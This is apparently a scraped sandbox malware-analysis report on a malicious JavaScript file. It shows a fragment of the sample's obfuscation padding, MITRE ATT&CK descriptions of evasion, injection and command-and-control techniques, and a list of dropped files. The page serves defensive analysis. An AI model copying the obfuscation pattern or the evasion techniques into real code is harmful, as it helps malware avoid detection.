1574	jvuzxcj = "Q";
1575	jvuzxcj = "E";
1576	jvuzxcj = "F";
1577	jvuzxcj = "K";
1578	jvuzxcj = "z";
1579	jvuzxcj = "V";
1580	jvuzxcj = "c";
1581	jvuzxcj = "h";
1582	jvuzxcj = "A";
1583	jvuzxcj = "F";
1584	jvuzxcj = "z";
1585	jvuzxcj = "N";
1586	jvuzxcj = "E";
1587	jvuzxcj = "h";
1588	jvuzxcj = "G";
1589	jvuzxcj = "t";
1590	jvuzxcj = "R";
1591	jvuzxcj = "8";
1592	nllulrkwe = "n";
1593	nllulrkwe = "P";
1594	nllulrkwe = "k";
1595	nllulrkwe = "V";
1596	nllulrkwe = "d";
1597	nllulrkwe = "r";
1598	nllulrkwe = "z";
1599	nllulrkwe = "d";
1600	nllulrkwe = "R";
1601	nllulrkwe = "f";
1602	nllulrkwe = "p";
1603	nllulrkwe = "o";
1604	nllulrkwe = "Z";
1605	nllulrkwe = "O";
1606	nllulrkwe = "h";
1607	nllulrkwe = "u";
1608	nllulrkwe = "i";
1609	nllulrkwe = "l";
1610	nllulrkwe = "j";
1611	nllulrkwe = "O";
1612	nllulrkwe = "P";
1613	nllulrkwe = "i";
1614	nllulrkwe = "b";
1615	nllulrkwe = "Z";
1616	nllulrkwe = "e";
1617	nllulrkwe = "e";
1618	nllulrkwe = "e";
1619	nllulrkwe = "l";
1620	nllulrkwe = "M";
1621	nllulrkwe = "V";
1622	nllulrkwe = "U";
1623	nllulrkwe = "U";
1624	nllulrkwe = "t";
1625	mqzae = "V";
1626	mqzae = "v";
1627	mqzae = "V";
1628	mqzae = "N";
1629	mqzae = "b";
1630	mqzae = "z";
1631	mqzae = "g";
1632	mqzae = "k";
1633	mqzae = "g";
1634	mqzae = "F";
1635	mqzae = "C";
1636	mqzae = "f";
1637	mqzae = "a";
1638	mqzae = "w";
1639	mqzae = "i";
1640	mqzae = "k";
1641	mqzae = "Q";
1642	mqzae = "x";
1643	mqzae = "q";
1644	mqzae = "i";
1645	mqzae = "J";
1646	mqzae = "d";
1647	mqzae = "H";
1648	mqzae = "M";
1649	mqzae = "w";
1650	mqzae = "M";
1651	mqzae = "s";
1652	mqzae = "Y";
1653	mqzae = "h";
1654	mqzae = "r";
1655	dbmwczu = "M";
1656	dbmwczu = "a";
1657	dbmwczu = "K";
1658	dbmwczu = "g";
1659	dbmwczu = "K";
1660	dbmwczu = "q";
1661	dbmwczu = "x";
1662	dbmwczu = "w";
1663	dbmwczu = "x";
1664	dbmwczu = "D";
1665	dbmwczu = "p";
1666	dbmwczu = "f";
1667	dbmwczu = "V";
1668	dbmwczu = "x";
1669	dbmwczu = "y";
1670	dbmwczu = "p";
1671	dbmwczu = "Y";
1672	dbmwczu = "C";
1673	dbmwczu = "Q";
1674	dbmwczu = "s";
1675	dbmwczu = "F";
1676	dbmwczu = "u";
1677	dbmwczu = "R";
1678	dbmwczu = "D";
1679	dbmwczu = "g";
1680	dbmwczu = "R";
1681	dbmwczu = "u";
1682	dbmwczu = "H";
1683	dbmwczu = "W";
1684	dbmwczu = "x";
1685	dbmwczu = "M";
1686	dbmwczu = "A";
1687	dbmwczu = "p";
1688	dbmwczu = "L";
1689	dbmwczu = "U";
1690	iwsbrv ( );	iwsbrv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 213526738195689141.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dd64f3d2-c3af-4f61-9868-b1b559abde59.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6980

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
213526738195689141.js